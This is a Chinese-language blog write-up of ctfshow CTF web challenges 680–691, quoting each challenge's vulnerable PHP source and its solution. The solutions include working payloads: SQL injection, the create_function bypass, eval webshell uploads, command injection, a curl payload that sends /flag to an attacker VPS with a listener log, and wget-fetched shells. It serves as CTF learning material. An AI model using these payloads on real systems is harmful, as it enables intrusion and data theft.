ctfshow大赛原题

前言

题目来源于ctfshow-web入门-大赛原题,写这一篇blog的初衷是练练手,有空就做做,保持手感。

web680

半脑洞题,一开始题目提示post code to run!,传参?code=ls;、code=system('ls');均没反应,考虑可能是代码执行,传?code=echo 123;,有回显123,说明是代码执行。

?code=phpinfo();可以看到很多函数被禁用了,open_basedir也做了限制,当然这里可以尝试绕过。不过这个题目不需要去绕。直接读当前目录下面的文件:?code=var_dump(scandir("./"));或者?code=print_r(scandir("./"));发现当前目录底下有一个secret_you_never_know,直接访问即可。

web681

打开题目,全是帽子。给了一个login.php。怀疑可能是sql注入,试了下万能密码'or'1'='1以及1'or 1#发现都是返回绿帽子….没办法,那dirsearch扫了一下,发现存在.svn,访问一下拿到了源码www.zip

先看index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

include "flag.php";
session_start();
if(isset($_SESSION['hat'])){
if($_SESSION['hat']=='green'){
output("<img src='images/green.jpg'>",8);
}else{
output("<img src='images/black.jpg'>",1);
echo $flag;
}

echo "<br><br><br><br><br><a href='logout.php'>I give up!</a>";
}else{
output("<img src='images/white.jpg'>",6);
echo "<br><br><br><br><br><a href='login.php'>I want to check the color of my hat!</a>";
}

function output($content,$count){
for($i=0;$i<$count;$i++){
echo $content;
}
}

然后就是check.php这里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

error_reporting(0);
include "common.php";

session_start();

if (isset($_POST["name"])){
$name = str_replace("'", "", trim(waf($_POST["name"])));
if (strlen($name) > 11){
echo("<script>alert('name too long')</script>");
}else{
$sql = "select count(*) from ctfshow_users where username = '$name' or nickname = '$name'";
echo $sql;
$db = new db();
$result = $db->select_one_array($sql);
if ($result[0]){
$_SESSION['hat'] = 'black';
echo 'good job';
}else{
$_SESSION['hat'] = 'green';
}
header("Location: index.php");
}
}

两个结合起来看,只要满足$result[0]返回为真就行了,但是这里的common.php源码没给到我们,所以这里的waf不清楚。一开始我以为需要爆破颜色的英文单词,就全部爆破了一下发现不行,所以最后还是得通过sql注入,用\来尝试转义 ‘ ,然后配合万能密码,这里因为有trim,直接 or 1 # \ 不太行,换成||1#\

最终payload:name=||1#\,带入到语句里面就是 select count(*) from ctfshow_users where username = '||1#\' or nickname = '||1#\'

web682

web683

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
include "flag.php";
if(isset($_GET['秀'])){
if(!is_numeric($_GET['秀'])){
die('必须是数字');
}else if($_GET['秀'] < 60 * 60 * 24 * 30 * 2){
die('你太短了');
}else if($_GET['秀'] > 60 * 60 * 24 * 30 * 3){
die('你太长了');
}else{
sleep((int)$_GET['秀']);
echo $flag;
}
echo '<hr>';
}
highlight_file(__FILE__);

主要是sleep((int)$_GET['秀']);

本地搭建一个demo试下:

1
2
3
4
5
<?php
$a="0x123";
print((int)($a));
?>
//输出为0,int对0x或者0开头的字符串输出为0

web684

1
2
3
4
5
6
7
8
9
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}

create_function的特性,可以用\来绕过正则,这个小点24年湖北省楚慧杯也考到了。

payload: ?action=\create_function&arg=}system("cat /secret*");//

web685

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
die(show_source(__FILE__));
}

$user_dir = './data/';
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);

header("Location: $path", true, 303);
} 1

代码逻辑很简单,不让出现<?,一开始尝试了一下其他的标签来绕过,比如<script language="php"></script><% %>来绕过,发现均无效。这个题目需要绕过正则,利用回溯次数来绕过:

1
2
3
4
5
6
7
8
9
10
11
file_content = "<?php eval($_POST[cmd]);?>"+"b"*1000000
# 然后使用 requests 上传
import requests
url = "http://058ad298-dd2b-4247-9919-868c8592b120.challenge.ctf.show/"
files = {'file': ('filename.txt', file_content)} # 直接使用字符串内容
response = requests.post(url, files=files)
for i in range(1,11):
url2="http://058ad298-dd2b-4247-9919-868c8592b120.challenge.ctf.show/data/{}.php".format(i)
print(url2)
response2 = requests.get(url2)
print(response2.text)

web686

题目:

1
2
3
4
5
6
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}

没有任何过滤的无参数RCE;

集团初赛的payload可以直接过:?cmd=system('ls');&code=eval(array_shift(array_shift(get_defined_vars())));

web687

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
$target = $_REQUEST[ 'ip' ];
$target=trim($target);
$substitutions = array(
'&' => '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
$cmd = shell_exec( 'ping -c 1 ' . $target );
echo "<pre>{$cmd}</pre>";

过滤了一些,但依然很多没有过滤。直接上payload:?ip=127.0.0.1%0acat /flaaag

web688

这个题有个类似的题[BUUCTF online tool]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
//escapeshellarg
//1,确保用户值传递一个参数给命令
//2,用户不能指定更多的参数
//3,用户不能执行不同的命令
$host = escapeshellcmd($host);
//escapeshellcmd
//1,确保用户只执行一个命令
//2,用户可以指定不限数量的参数
//3,用户不能执行不同的命令
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

产生漏洞点的原因就是先后经过escapeshellargescapeshellcmd函数的处理。

这两个函数的解释:

1
2
3
4
5
escapeshellarg:
先给字符串里面的引号进行转义,即先 \' 然后在用引号进行包裹 : '\''
然后在给字符串外圈打上一对引号,比如: shellcode - > 'shellcode' ; shellcode' -> 'shellcode'\'''
escapeshellcmd:
如果输入内容中&#;`|*?~<>^()[]{}$, \x0A 和 \xFF等特殊字符会被反斜杠(\)给转义掉;如果单引号和双引号不是成对出现时,会被转义掉

所以组合在一起,就会出现问题。我们直接来看payload:

?host=' <?php eval($_POST["cmd"]) -oG test.php '

经过escapeshellarg处理之后为:

''\'' <?php echo phpinfo();?> -oG test.php '\''

然后在经过escapeshellcmd处理之后为:

''\\'' \<\?php echo phpinfo\(\)\;\?\> -oG test.php '\\'''

最终拼接的命令:

nmap -T5 -sT -Pn --host-timeout 2 -F ''\\'' \<\?php echo phpinfo\(\)\;\?\> -oG test.php '\\'''

看看DP的解释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
Shell 的解析过程:
''\\''解释如下:
'' → 空字符串
\\ → 转义成单个 \(因为 escapeshellcmd 添加了转义)
'' → 再次空字符串
最终解析为 \(一个反斜杠字符)

\<、\? 等:

这些字符被 escapeshellcmd() 转义,但仍然作为普通字符传递给 nmap。

-oG test.php:

由于前面的引号解析失败,-oG 被当作 nmap 的参数,而不是字符串的一部分。

'\\''':

'\\' → 被解析为字面量 \(反斜杠)

'' → 空字符串

最终解析为 \(一个反斜杠字符)

2. 为什么 test.php 后面的 '\\''' 不会导致报错?
Shell 的引号解析规则:

单引号内的内容('...')会被当作字面量,不会进行变量扩展或命令替换。

'\\' 被解析为 \(一个反斜杠)。

最后的 '' 是空字符串,不影响命令执行。

nmap 如何接收参数?

nmap 会接收 -F \ <?php echo phpinfo();?> -oG test.php \ 作为参数。

-oG test.php 是合法的 nmap 参数,用于写入输出到文件。

后面的 \ 会被 nmap 忽略,因为它不是有效参数。

本质是逃逸引号。

再来看看这道题:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
error_reporting(0);
//flag in /flag
$url = $_GET['url'];
$urlInfo = parse_url($url);
if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
die( "scheme error!");
}
$url=escapeshellarg($url);
$url=escapeshellcmd($url);
system("curl ".$url);

通过curl来外带出文件内容,需要有vps来监听端口。(这里注意监听的端口是防火墙开放的)

payload1:?url=http://vps:port/%27%20-F%20file=@/flag%20%27

payload2:?url=http://vps:port/' -T /flag '

vps上:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[root@lavm-3e27re9pxw var]# nc -lvvp 1205
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::1205
Ncat: Listening on 0.0.0.0:1205
Ncat: Connection from 124.223.158.81.
Ncat: Connection from 124.223.158.81:39422.
POST /\ HTTP/1.1
Host: 117.72.17.110:1205
User-Agent: curl/7.61.1
Accept: */*
Content-Length: 242
Content-Type: multipart/form-data; boundary=------------------------c34859b593f7113e

--------------------------c34859b593f7113e
Content-Disposition: form-data; name="file"; filename="flag"
Content-Type: application/octet-stream

ctfshow{9e31c281-a9d0-449e-8d61-41fcd4fc2135}

--------------------------c34859b593f7113e--

web689

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php 
error_reporting(0);
if(isset($_GET) && !empty($_GET)){
$url = $_GET['file'];
$path = "upload/".$_GET['path'];

}else{
show_source(__FILE__);
exit();
}

if(strpos($path,'..') > -1){
die('This is a waf!');
}


if(strpos($url,'http://127.0.0.1/') === 0){
file_put_contents($path, file_get_contents($url));
echo "console.log($path update successed!)";
}else{
echo "Hello.CTFshow";
}

这个题目看上去会有点绕。首先看下逻辑,$path不能出现..$url要以http://127.0.0.1/开头。其实关键点在: echo "console.log($path update successed!)"; 会把 $path的值打印到页面上面。并且还存在file_put_contents($path, file_get_contents($url)); 把访问$url得到页面回显的结果,写到$path里面。那么如果我们能构造一个URL,访问它得到的回显内容里面有shellcode。就可以形成利用了。

xxxxxxxx?file=http://127.0.0.1/&path=<?=eval($_POST[1]);?> 这个页面得到回显的内容里面就包含了shellcode 。那么我们如何将内容写到php文件里面呢?

通过构造xxxxxx?file=http://127.0.0.1/?file=http://127.0.0.1/%26path=<?=eval($_POST[1]);?>&path=a.php

为什么要把&编码成 %26,因为避免被当成参数切割,正向的看这个payload :

file_get_contents($url) -> file_get_contents(http://127.0.0.1/?file=http://127.0.0.1/%26path=shellcode)

file_get_contens会对url编码进行解码,相当于是访问了http://127.0.0.1/?file=http://127.0.0.1/&path=shellcode,得到页面的响应结果就是 shellcode update successed!,然后通过file_put_contents函数,把 shellcode 写入到了 a.php 。

web690

1
2
3
4
5
6
7
8
9
10
<?php 
highlight_file(__FILE__);
error_reporting(0);
$args = $_GET['args'];
for ( $i=0; $i<count($args); $i++ ){
if ( !preg_match('/^\w+$/', $args[$i]) )
exit("sorry");
}

exec('./ ' . implode(" ", $args));

传入的args要是数组,并且只能是数字,下划线和字母,但是经过测试%0a是可以绕过的。而在linux命令里,%0a等效于分号;

所以主要是想办法RCE:

看了大佬的思路:我们的服务器起一个web服务,然后利用wget去获取包含shell文件,然后在对这个文件进行压缩打包处理,然后再利用php命令去执行shell文件。整体流程:

1
2
3
4
5
6
7
8
9
10
11
12
vps:  python3  -m  http.server 80  // 启动一个web服务,这个你在哪个目录下用这个命令,当前目录就会被当成web服务供外界访问
然后再在当前目录下面新建一个index.html,内容是:
<?php
file_put_contents("shell.php",'<?=eval($_POST[1]);?>');
?>
1.传入 ?args[]=1%0a&args[]=mkdir&args[]=a%0a&args[]=cd&args[]=a%0a&args[]=wget&args[]=vps的ip
通过第一步,此时a目录下有了index.html,同时这里的vps的ip得是十进制,因为要绕过`.`
2.传入 ?args[]=1%0a&args[]=tar&args[]=cvf&args[]=shell&args[]=a
通过第二步,把a目录以及index.html打包成了shell文件
3.传入 ?args[]=1%0a&args[]=php&args[]=shell
通过第三步,执行shell文件内容,只要是文件里面包含php代码的,都可以被php来执行。用010打开shell文件来看里面是包含了index.html文件的代码的。
经过上述三步之后,就生成了我们的shell.php文件。访问就可以利用了。

web691

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

include('inc.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($str){
$filterlist = "/\(|\)|username|password|where|
case|when|like|regexp|into|limit|=|for|;/";
if(preg_match($filterlist,strtolower($str))){
die("illegal input!");
}
return $str;
}
$username = isset($_POST['username'])?
filter($_POST['username']):die("please input username!");
$password = isset($_POST['password'])?
filter($_POST['password']):die("please input password!");
$sql = "select * from admin where username =
'$username' and password = '$password' ";

$res = $conn -> query($sql);
if($res->num_rows>0){
$row = $res -> fetch_assoc();
if($row['id']){
echo $row['username'];
}
}else{
echo "The content in the password column is the flag!";
}

?>

告诉了你flag在password字段里面。但是echo出来的是username的值。所以一开始想的是有没有可能通过堆叠注入,类似于强网杯随便注那道题,换一下列名。但这里查询语句没有堆叠注入的点,而且;也被过滤了。

这里使用 order by 来通过字母排序来注入:

构造payload:

username='or 1 union select 1,2,'a' order by 3#&password=123

id username password
1 1 a
2 admin ctfshow{xxxx}

因为a排在c前面,所以echo $row[‘username’]得到的值是1;

username='or 1 union select 1,2,'c' order by 3#&password=123

这里为c的时候,也会排在前面,echo $row[‘username’]得到的值也为1;

而当`username=’or 1 union select 1,2,’d’ order by 3#&password=123

这里为d的时候,这个时候 echo $row[‘username’]得到的值为admin。

所以我们打印出来的就是d的前面那一位,也就是c -> chr(ord(k)-1)

所以就可以写脚本了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import  requests
url="http://fa0be11a-59f5-4fb1-9c76-6726441d69ce.challenge.ctf.show/"
strings=".0123456789:abcdefghijklmnopqrstuvwxyz{}~"
flag='ctfshow{'
for i in range(1,50):
for k in strings:
payload="'or 1 union select 1,2,'{}' order by 3 #".format(flag+k)
data={"username":payload,"password":123}
#print(data)
res=requests.post(url,data=data)
if "</code>admin" in res.text:
print(chr(ord(k)-1))
flag+=chr(ord(k)-1)
print(flag)
break

注意这里的条件是</code>admin而不是单纯的admin,因为源代码里面本身就有admin 。 要区分出打印出来的admin 。

另外我们的字典肯定也得是按照ascii顺序来的。